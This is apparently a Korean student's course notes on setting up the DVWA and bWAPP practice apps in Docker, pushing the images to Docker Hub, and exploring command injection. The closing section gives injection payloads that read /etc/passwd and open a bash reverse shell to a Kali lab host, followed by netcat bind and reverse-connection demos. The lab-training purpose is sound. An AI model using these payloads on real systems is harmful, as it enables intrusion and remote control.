카테고리 없음

SW 개발보안 9일차 - DVWA

ajh 2026. 5. 20. 16:33

DVWA는 Damn Vulnerable Web Application(DVWA)
  . 매우 취약하도록 설계된 PHP/MySQL 웹 애플리케이션이다. 
  . 주요 목적은 보안 전문가가 안전하고 합법적인 환경에서 기술과 도구를 테스트할 수 있는 리소스 역할을 하는 것이다. 
  . 웹 개발자가 웹 애플리케이션을 보호하는 방법을 이해하도록 돕고 학생과 교사가 교실 환경에서 
    웹 애플리케이션 보안을 탐구할 수 있는 교육 플랫폼을 제공하는 것을 목표로 한다.

  . DVWA는 간단하고 명확한 인터페이스를 통해 다양한 난이도의 일반적인 웹 취약성을 제공한다. 
  . 이 소프트웨어에는 사용자가 가능한 한 많은 보안 문제를 식별하도록 장려하기 위해 알려진 취약성과 알려지지 않은 
    취약성이 모두 포함되어 있다.

                       +-- Firewall     Rocky Linux 9
                       | +---------------------------------------+
                       | |                                       |
                       | |                                       |
                       | |             80/tcp                    |
+------------+         | | 81/tcp     +--------+                 | 
|           ----------------------------> dvwa | 172.50.30.2     |
|   Browser <----------------------------      |                 |
|     WEB    |         | |            +--------+------+          |
|   Client   |         | |            | Docker Engine |          |
|            |         | |            +---------------+          |
+------------+         | |                                       |
 192.168.100.1         | |            Host OS: 172.50.30.1       |
                       | +---------------------------------------+
                       |              
                               ens160: 192.168.100.25/24
                               webboan: 172.50.30.0/24

1. dvwa 의 컨테이너 구조

Docker 네트워크명: webboan
Docker 서브넷: 172.50.30.0/24
Docker Gateway: 172.50.30.1
Host OS Docker IP: 172.50.30.1
DVWA 컨테이너 IP: 172.50.30.2
DVWA 이미지: vulnerables/web-dvwa
DVWA 컨테이너명: webboan-dvwa
컨테이너 실행 옵션: 항상 실행
외부 접속 포트: 81/tcp
컨테이너 내부 포트: 80/tcp

외부 볼륨 디렉터리: /home/webboan/dvwa
내부 볼륨 디렉터리: /var/www/html

 

2. 이미지 저장
저장한 이미지명: webboan-dvwa.tar

3. 컨테이너 접속

http://192.168.100.25:81/login.php
Username: admin
Password: password


1. 도커 네트워크 설정  

SUBNET="172.50.30.0/24"
GATEWAY="172.50.30.1"
NETWORK_NAME="webboan"

docker network create --driver bridge \
  --subnet $SUBNET \
  --gateway $GATEWAY \
  $NETWORK_NAME 2>/dev/null || true


2. dvwa 컨테이너 생성

[root@docker ~]# docker run -d --restart=always \
--network webboan --ip 172.50.30.2 \
-p 81:80 \
--hostname webboan-dvwa \
--name webboan-dvwa \
vulnerables/web-dvwa

 

생성한 컨테이너와 호스트와 디렉터리 연결 

컨테이너를 생성할 때 -v /home/webboan/dvwa:/var/www/html \를 사용하면

호스트에는 파일이 없는 상태를 덮어 써버려서 파일을 확인할 수 없다 

 

컨테이너의 디렉터리를 복사한다 

[root@docker ~]# mkdir -p /home/webboan/dvwa
[root@docker ~]# docker cp webboan-dvwa:/var/www/html/. /home/webboan/dvwa/

/html/*을 못 쓰기때문에 /html/. 을 사용하여 html 안에 있는 파일들만 호스트에 복사가 된다

 

실행중인 컨테이너를 삭제하고 디렉토리를 연결해 다시 생성한다.
[root@docker ~]# docker rm -f webboan-dvwa  

[root@docker ~]# docker run -d --restart=always \
--network webboan --ip 172.50.30.2 \
-p 81:80 \
-v /home/webboan/dvwa:/var/www/html \
--hostname webboan-dvwa \
--name webboan-dvwa \
vulnerables/web-dvwa

 

컨테이너를 생성할 때 볼륨 마운트 -v를 사용하면 호스트 볼륨과 컨테이너 볼륨 둘 다 기본으로 rw권한으로 생성된다

그래서 볼륨 마운트를 할 때 따로 옵션을 줘서 권한을 설정해줘야 한다 

-v 호스트볼륨:[ro,rw]:컨테이너볼륨:[ro,rw]

 

[root@docker dvwa]# echo "host os" > test.php
[root@docker dvwa]# curl 192.168.100.25:81/test.php
host os    <= 호스트에서 컨테이너 파일을 수정

 

[root@docker dvwa]# docker run -d --restart=always \
--network webboan --ip 172.50.30.2 \
-p 81:80 \
-v /home/webboan/dvwa:/var/www/html:ro \
--hostname webboan-dvwa \
--name webboan-dvwa \
vulnerables/web-dvwa


3. 컨테이너 이미지로 저장 

webboan-dvwa 컨테이너를 이미지로 저장한다.

[root@docker ~]# docker commit webboan-dvwa webboan-dvwa:v1

 

도커 이미지를 root에 .tar 압축 파일로 추출한다

[root@docker ~]# docker save -o webboan-dvwa-v1.tar webboan-dvwa:v1   

 

기존 컨테이너, 이미지를 삭제한다

[root@docker ~]# docker rm -f webboan-bwapp

[root@docker ~]# docker rmi vulnerables/web-dvwa


추출한 .tar 파일을 도커에 올린다

[root@docker ~]# docker load -i webboan-dvwa-v1.tar

 

 

추출한 이미지로 컨테이너를 생성한다

[root@docker ~]# docker run -d --restart=always \
--network webboan --ip 172.50.30.2 \
-p 81:80 \
-v /home/webboan/dvwa:/var/www/html \
--hostname webboan-dvwa \
--name webboan-dvwa \
webboan-dvwa:v1  


4. 웹서버 접속
초기 세팅을 하기 위해서 로그인한다.

http://192.168.100.25:81/login.php
Username: admin
Password: password


bwapp 설치하기

 

bwapp도 DVWA와 비슷하게 취약점을 가지고 있는 연습용 사이트이고 beeBox 라는 배포판을 설치하면 그 안에 설치되어 있다.

1. bwapp 의 컨테이너 구조


Docker 네트워크명: webboan
Docker 서브넷: 172.50.30.0/24
Docker Gateway: 172.50.30.1
Host OS Docker IP: 172.50.30.1
bwapp 컨테이너 IP: 172.50.30.3
bwapp 이미지: vulnerables/web-dvwa
bwapp 컨테이너명: webboan-bwapp
bwapp 호스트명: webboan-bwapp
컨테이너 실행 옵션: 항상 실행
외부 접속 포트: 82/tcp
컨테이너 내부 포트: 80/tcp
외부 볼륨 디렉터리: /home/webboan/bwapp
내부 볼륨 디렉터리: ???

2. 네트워크 구성
외부 웹 클라이언트에서 Rocky Linux 9 서버의 81/tcp 포트로 접속하면 
Docker 내부의 bwapp 컨테이너 80/tcp 포트로 연결되어야 한다.


1. DVWA 컨테이너 생성
[root@docker ~]# docker run -d \
--network webboan --ip 172.50.30.3 \
--name webboan-bwapp \
--restart always \
--hostname webboan-bwapp \
-p 82:80 \
raesene/bwapp

 

Host OS 에서 dvwa를 저장할 디렉터리를 생성한다.
[root@docker ~]# mkdir /home/webboan/bwapp

webboan-bwapp 컨테이너 내부에 있는 파일들을 Host OS의 /home/webboan/dvwa/ 디렉터리로 복사한다.
[root@docker ~]# docker cp webboan-bwapp:/var/www/html/. /home/webboan/bwapp/
[root@docker ~]# ls /home/webboan/bwapp/   

 

실행중인 컨테이너를 삭제하고 다시 생성한다.
[root@docker ~]# docker rm -f webboan-bwapp                  

[root@docker ~]# docker run -d \
--network webboan --ip 172.50.30.3 \
--name webboan-bwapp \
--restart always \
--hostname webboan-bwapp \
-v /home/webboan/bwapp:/var/www/html \
-p 82:80 \
raesene/bwapp

[root@docker ~]# docker exec webboan-bwapp ls /var/www/html
[root@docker ~]# docker exec -it webboan-bwapp bash
root@webboan-bwapp:/# exit


2. 웹서버 접속
초기 세팅을 하기 위해서 로그인한다.

http://192.168.100.25:82/install.php  


Login: bee
Password: bug


3. 컨테이너 이미지로 저장 

webboan-dvwa 컨테이너를 이미지로 저장한다.

[root@docker ~]# docker commit webboan-bwapp webboan-bwapp:v1

 

도커 이미지를 root에 .tar 압축 파일로 추출한다

[root@docker ~]# docker save -o webboan-bwapp-v1.tar webboan-bwapp:v1 

 

기존 컨테이너, 이미지를 삭제한다

[root@docker ~]# docker rm -f webboan-bwapp

[root@docker ~]# docker rmi raesene/bwapp

 

추출한 .tar 파일을 도커에 올린다

[root@docker ~]# docker load -i webboan-bwapp-v1.tar

 

추출한 이미지로 컨테이너를 생성한다

[root@docker ~]# docker run -d \
--network webboan --ip 172.50.30.3 \
--name webboan-bwapp \
--restart always \
--hostname webboan-bwapp \
-v /home/webboan/bwapp:/var/www/html \
-p 82:80 \
webboan-bwapp:v1  


Docker Hub
  . Docker 이미지를 저장하고 공유하는 온라인 저장소

저장소 생성
  . 저장소를 생성할 때 
    Public Repository, Private Repository 를 선택한다.

여기서는 Public Repository로 생성한다.
Public Repository: test

Docker 에 로그인을 한다.
[root@docker ~]# docker login -u linuxmasternet

i Info → A Personal Access Token (PAT) can be used instead.
          To create a PAT, visit https://app.docker.com/settings


Password:  <-- 비밀번호 입력, Access Token 입력 이렇게 2개가 존재한다.

Password에는 비밀번호보다 보안상 Access Token 사용을 권장한다.


account setting > Create access token

Access token description: push용 (업로드 테스트용)
Expiration date: Custom 26.5.20 18:00 
Access permission: Read & Write
[Generate]  <-- 클릭하면 아래와 같은 정보가 나온다.

Copy access token
Use this token as a password when you sign in from the Docker CLI client. Learn more

Make sure you copy your personal access token now. Your personal access token is only displayed once. It isn't stored and can't be retrieved later.

Access token description

push용 (업로드 테스트용)

Expires on

May 20, 2026 at 18:00:00

Access permissions

Read & Write

To use the access token from your Docker CLI client:

1. Run
docker login -u linuxmasternet

2. At the password prompt, enter the personal access token.
dckr_pat_7wQ5JWwgzjeK0 ... 


[root@docker ~]# docker login -u linuxmasternet

i Info → A Personal Access Token (PAT) can be used instead.
          To create a PAT, visit https://app.docker.com/settings

Password:  <-- 발급받은 access token을 붙여넣기 한다.

WARNING! Your credentials are stored unencrypted in '/root/.docker/config.json'.
Configure a credential helper to remove this warning. See
https://docs.docker.com/go/credential-store/

Login Succeeded

[root@docker ~]# docker images

이미지 태그 지정
로컬에 있는 이미지를 Docker Hub 저장소 이름에 맞게 태그를 변경한다.
[root@docker ~]#  docker tag webboan-dvwa:v1 linuxmasternet/test:dvwa-v1
[root@docker ~]#  docker tag webboan-bwapp:v1 linuxmasternet/test:bwapp-v1

docker images 를 확인하면 생성된 태그를 확인할 수 있다.
[root@docker ~]# docker images
                                                                 i Info →   U  In Use
IMAGE                                 ID             DISK USAGE   CONTENT SIZE   EXTRA
linuxmasternet/test:bwapp-v1          3c5132084221        640MB          160MB
linuxmasternet/test:dvwa-v1           a3eb0d94a675        991MB          179MB
webboan-bwapp:v1                      3c5132084221        640MB          160MB
webboan-dvwa:v1                       a3eb0d94a675        991MB          179MB

Docker Hub에 업로드하고 웹브라우저에서 확인하면 업로드된 bwapp-v1 이미지가 보인다.
[root@docker ~]# docker push linuxmasternet/test:bwapp-v1
[root@docker ~]# docker push linuxmasternet/test:dvwa-v1


DVWA 문제 풀기 

Command Injection
웹에서 입력되는 값이 운영체제에 전달되서 명령어가 그대로 실행되는 취약점이다.

' '; 혹은 ' '| 혹은 ' '& 등 명령어를 이어서 실행시키는 명령어를 덧붙혀 공격한다

127.0.0.1; cat /etc/passwd

 

칼리 리눅스에서 대기시킨 후 DVWA 에 코드를 실행시키면 칼리 리눅스에서 서버에 접속할 수 있다

root@kali:~# nc -lvnp 443
127.0.0.1; bash -c 'bash -i >& /dev/tcp/192.168.100.3/443 0>&1'

 

네트워크를 통해서 시스템에 연결하는 방법
  . bind connection
  . reverse connection

네트워크를 통해서 원격으로 시스템에 연결하는 방법
  . bind shell
  . reverse shell

Attacker 
  . 192.168.100.3 
  . Kali Linux
Victim
  . 192.168.100.25

IP주소 추가/삭제 방법
  . IP주소 추가
    - 일시적으로 ip 명령어를 이용해서 추가한다.
    - sudo ip addr add <추가할_IP주소>/<서브넷> dev <인터페이스>
    - sudo ip a a <추가할_IP주소>/<서브넷> dev <인터페이스>
    - e.g.) sudo ip a a 192.168.100.25/24 dev ens160

  . IP주소 삭제
    - 일시적으로 ip 명령어를 이용해서 추가한다.
    - sudo ip a d <추가할_IP주소>/<서브넷> dev <인터페이스>
    - e.g.) sudo ip a d 192.168.100.25/24 dev ens160

$ sudo ip a a dev ens160 192.168.100.16/24 
$ sudo ip a d dev ens160 192.168.100.16/24 
$ ip a s ens160

bind connection
  . Victim에서 포트를 열고 Attacker가 Victim으로 접속하는 연결 방식이다.

Server: socket() -> bind() -> listen() -> accept() -> send(), recv(), write(), read() -> close()
Client: socket() -> connect() -> send(), recv(), write(), read() -> close()

bind connection 의 개요 : 
  . Victim에 방화벽이 없어야 사용할 수 있는 접속 형태이다.
  . Victim에서 포트를 열었지만 방화벽이 있다면 Attacker가 접속할 수 없는 상태가 된다.
  . bind connection을 사용하지 않는 이유
    - 기업 내부에서 방화벽을 사용하고 있다. 
    - 개인이 사용하는 OS도 방화벽이 기본값을 실행되고 있다. 
    - 집에서 방화벽을 사용하고 있다. (공유기)

 

Reverse Connection 의 개요
  . Victim에 방화벽이 활성화되어 있어야 사용할 수 있는 접속 형태이다.
  . 방화벽이 없다면 reverese connection을 할 필요는 없고 bind connection으로 접속하면 된다.
  . Victim에서 방화벽이 있다면 포트를 열었지만 Attacker가 접속할 수 없는 상태가 되므로
    Victim에서 Attacker쪽으로 거꾸로 나와서 연결하는 방식을 사용한다.

  . reverse connection을 사용하는 이유

    - 기업 내부에서 방화벽을 사용하고 있다. 
    - 개인이 사용하는 OS도 방화벽이 기본값을 실행되고 있다. 
    - 집에서 방화벽을 사용하고 있다. (공유기)


bind connection
netcat(nc)
  . Netcat(nc)은 TCP/UDP 네트워크 연결을 만들고 데이터를 주고받을 수 있는 명령어 기반 네트워크 도구이다.
  . 네트워크 디버깅, 포트 테스트, 서비스 배너 확인, 파일 전송, 리스닝 서버 생성, 보안 실습 등에 자주 사용된다.

 

netcat의 기능
  . 포트 연결 테스트: 특정 IP와 포트에 접속 가능한지 확인
  . 포트 리스닝: 특정 포트를 열고 접속 대기
  . TCP/UDP 통신 테스트: 간단한 클라이언트/서버 통신 실습
  . 배너 그래빙: 서비스 버전 정보 확인
  . 파일 전송: 네트워크를 통해 파일 송수신

  . 리버스 쉘 실습: 보안 실습 환경에서 쉘 연결 테스트
  . 포트 스캔: 간단한 포트 열림 여부 확인

등등


nc 중요 옵션 및 사용법

주요 옵션
  . -l : Listen 모드, 접속 대기
  . -v : 자세한 출력
  . -n : DNS 조회 없이 IP 주소 그대로 사용
  . -p : 로컬 포트 지정
  . -u : UDP 모드 사용
  . -z : 데이터 전송 없이 포트 열림 여부만 확인
  . -w : 타임아웃 시간 지정
  . -k : 연결 종료 후에도 계속 리스닝
  . -e : 프로그램 실행 연결, 일부 버전에서만 지원

Basic usages:
connect to somewhere:  nc [options] hostname port [port] ...
listen for inbound:    nc -l -p port [options] [hostname] [port] 
...
tunnel to somewhere:   nc -L hostname:port -p port [options]

 

1. 방화벽 중지
Victim 에서 firewalld 방화벽을 중지한다.
[root@docker ~]# systemctl stop firewalld
[root@docker ~]# systemctl stop iptables

2. 포트 오픈
netcat 공식사이트
  . http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
  . 단점은 접속이 방화벽에 의해서 막히는 경우에는 다운로드가 안된다.

[root@docker ~]#  dnf -y install wget gcc make glibc glibc.i686
[root@docker ~]# wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
[root@docker ~]#  tar xzf netcat-0.7.1.tar.gz
[root@docker ~]#  cd netcat-0.7.1/
[root@docker ~]#  ./configure
[root@docker ~]#  make
[root@docker ~]#  make install
[root@docker ~]# ll /usr/local/bin/{netcat,nc}

 

호스트에서 외부에서 연결이 가능하도록 8000번 포트를 열어둔다

[root@docker ~]#  nc -lvp 8000
root@kali:~# nc 192.168.100.25 8000
nc 192.168.100.25 8000
  . nc 
  . 192.168.100.25 
    - 접속하는 IP주소는 192.168.100.25 이다.
  . 8000
    - 포트번호 8000으로 접속한다.

3. 데이터 전송
데이터를 전송하고 접속을 종료한다.


reverse connection

firewalld 방화벽을 시작한다

[root@docker ~]# systemctl start firewalld.service

 

Victim에서 방화벽을 활성화했다면 8000번 포트로 접속을 하면 접속이 안된다.
root@kali:~# nc 192.168.100.25 8000
(UNKNOWN) [192.168.100.25] 8000 (?) : No route to host

Attacker가 8000/tcp 포트를 오픈한다.
root@kali:~# nc -lvp 8000


Victim에서 연결한다.
[root@docker ~]# nc 192.168.100.3 8000

192.168.100.25: inverse host lookup failed: Unknown host
connect to [192.168.100.3] from (UNKNOWN) [192.168.100.25] 55188
hello